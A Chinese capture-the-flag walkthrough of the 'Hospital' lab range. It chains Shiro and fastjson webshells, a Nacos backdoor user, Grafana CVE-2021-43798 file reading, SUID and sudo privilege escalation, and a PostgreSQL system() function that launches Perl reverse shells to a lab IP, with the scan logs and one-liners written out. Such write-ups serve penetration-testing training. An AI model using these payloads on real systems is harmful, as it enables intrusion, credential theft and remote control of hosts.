春秋云境-Hospital

打个简单的。

flag01

actuator 泄露,里面有 key。

8080 上有 shiro 上哥斯拉 🐎。

权限不够,尝试 suid 提权。

1
find / -perm -u=s -type f 2>/dev/null

只有 vim.basic 能用。

这里写个公钥获取 root 权限:ssh-keygen -t rsa 生成一对公私钥一路回车。

1
vim.basic /root/.ssh/authorized_keys

写公钥没那么多要求,但是写私钥注意这个内容一定要整理好格式,不然会无法识别。

flag02

1
fscan -h 172.30.12.5/24 -eh 172.30.12.5
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
[2025-03-07 20:47:42] [INFO] 暴力破解线程数: 1
[2025-03-07 20:47:42] [INFO] 开始信息扫描
[2025-03-07 20:47:42] [INFO] CIDR范围: 172.30.12.0-172.30.12.255
[2025-03-07 20:47:42] [INFO] 生成IP范围: 172.30.12.0.%!d(string=172.30.12.255) - %!s(MISSING).%!d(MISSING)
[2025-03-07 20:47:42] [INFO] 解析CIDR 172.30.12.5/24 -> IP范围 172.30.12.0-172.30.12.255
[2025-03-07 20:47:42] [INFO] 已排除指定主机: 1
[2025-03-07 20:47:42] [INFO] 最终有效主机数量: 255
[2025-03-07 20:47:42] [INFO] 开始主机扫描
[2025-03-07 20:47:42] [INFO] 正在尝试无监听ICMP探测...
[2025-03-07 20:47:42] [INFO] 当前用户权限不足,无法发送ICMP包
[2025-03-07 20:47:42] [INFO] 切换为PING方式探测...
[2025-03-07 20:47:45] [SUCCESS] 目标 172.30.12.236 存活 (ICMP)
[2025-03-07 20:47:46] [SUCCESS] 目标 172.30.12.6 存活 (ICMP)
[2025-03-07 20:47:48] [INFO] 存活主机数量: 2
[2025-03-07 20:47:48] [INFO] 有效端口数量: 233
[2025-03-07 20:47:48] [SUCCESS] 端口开放 172.30.12.6:445
[2025-03-07 20:47:48] [SUCCESS] 端口开放 172.30.12.236:22
[2025-03-07 20:47:48] [SUCCESS] 端口开放 172.30.12.6:139
[2025-03-07 20:47:48] [SUCCESS] 端口开放 172.30.12.6:135
[2025-03-07 20:47:48] [SUCCESS] 端口开放 172.30.12.236:8009
[2025-03-07 20:47:48] [SUCCESS] 端口开放 172.30.12.236:8080
[2025-03-07 20:47:48] [SUCCESS] 服务识别 172.30.12.236:22 => [ssh] 版本:8.2p1 Ubuntu 4ubuntu0.9 产品:OpenSSH 系统:Linux 信息:Ubuntu Linux; protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.9.]
[2025-03-07 20:47:49] [SUCCESS] 端口开放 172.30.12.6:8848
[2025-03-07 20:47:53] [SUCCESS] 服务识别 172.30.12.6:445 =>
[2025-03-07 20:47:53] [SUCCESS] 服务识别 172.30.12.6:139 => Banner:[.]
[2025-03-07 20:47:54] [SUCCESS] 服务识别 172.30.12.236:8009 =>
[2025-03-07 20:47:54] [SUCCESS] 服务识别 172.30.12.236:8080 => [http]
[2025-03-07 20:47:59] [SUCCESS] 服务识别 172.30.12.6:8848 => [http]
[2025-03-07 20:48:54] [SUCCESS] 服务识别 172.30.12.6:135 =>
[2025-03-07 20:48:54] [INFO] 存活端口数量: 7
[2025-03-07 20:48:54] [INFO] 开始漏洞扫描
[2025-03-07 20:48:54] [INFO] 加载的插件: findnet, ms17010, netbios, smb, smb2, smbghost, ssh, webpoc, webtitle
[2025-03-07 20:48:54] [SUCCESS] NetInfo 扫描结果
目标主机: 172.30.12.6
主机名: Server02
发现的网络接口:
IPv4地址:
└─ 172.30.12.6
[2025-03-07 20:48:54] [SUCCESS] NetBios 172.30.12.6 WORKGROUP\SERVER02
[2025-03-07 20:48:54] [SUCCESS] 网站标题 http://172.30.12.236:8080 状态码:200 长度:3964 标题:医院后台管理平台
[2025-03-07 20:48:54] [SUCCESS] 网站标题 http://172.30.12.6:8848 状态码:404 长度:431 标题:HTTP Status 404 – Not Found
[2025-03-07 20:48:54] [SUCCESS] 目标: http://172.30.12.6:8848
漏洞类型: poc-yaml-alibaba-nacos
漏洞名称:
详细信息:
author:AgeloVito
links:https://blog.csdn.net/caiqiiqi/article/details/112005424
[2025-03-07 20:48:54] [SUCCESS] 目标: http://172.30.12.6:8848
漏洞类型: poc-yaml-alibaba-nacos-v1-auth-bypass
漏洞名称:
详细信息:
author:kmahyyg(https://github.com/kmahyyg)
links:https://github.com/alibaba/nacos/issues/4593

内网有 nacos,修改命令添加后门用户。

然后打包成 jar。放到入口机起个 python 服务挂载起来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
server:
port: 8080
servlet:
context-path: /hello

spring:
application:
name: db-config
cloud:
nacos:
discovery:
server-addr: 127.0.0.1:8848
config:
server-addr: 127.0.0.1:8848
file-extension: yaml
namespace: dev
group: DEFAULT_GROUP
data-id: db-config.yaml
datasource:
mysql:
url: jdbc:mysql://localhost:3306/test?useSSL=false&serverTimezone=UTC&allowPublicKeyRetrieval=true
username: root
password: P@ssWord!!!
redis:
host: localhost
port: 6379

management:
endpoints:
web:
exposure:
include: '*'

然后再用 NacosExploitGUI 打下。

rdp 直接远程连接。

flag03

GitHub - amaz1ngday/fastjson-exp: fastjson 利用,支持 tomcat、spring 回显,哥斯拉内存马;回显利用链为 dhcp、ibatis、c3p0。

fastjson,登录使用 json 传参。直接用插件写内存马。

注入,然后 godzilla 连接

flag04

Releases · A-D-Team/grafanaExp

CVE-2021-43798

stowaway 轮椅上传一下。但是这个我一打就报错不知道为什么。

1
./grafana exp -u http://172.30.54.12:3000

这个主要是为了拿到 psql 数据库的账号和密码:postgres:Postgres@123

psql 版本小于 8.2 直接创建 system 函数。

mdut 或者手动:

1
2
3
4
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
select system('perl -e \'use Socket;$i="172.30.54.179";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'');

ALTER USER root WITH PASSWORD 'Admin@123';

我这里 mdut 不知道为什么一直报错没有%s 我以为是参数没填全但是填了也不对。

用 perl 反弹 shell,有的 linux 自带 perl。rev 里面直接生成一个反弹 shell 命令。

1
2
perl -e 'use Socket;$i="172.30.54.179";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"172.30.54.179:7777");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

注意要用的话会有两个单引号同时用,注意转义

1
perl -MIO -e \'$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"172.30.54.179:7777");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;\'

sudo -l提权

有 psql,这里先用 python 做个交互式终端。

1
python3 -c "import pty;pty.spawn('/bin/bash')"

还是刚才的密码登录Postgres@123,然后sudo /usr/local/postgresql/bin/psql按照上面的内容执行就拿到了 shell,但是这里登录的话有问题,需要连接 postgres 数据库的时候先改下 root 的密码。

1
ALTER USER root WITH PASSWORD '123456';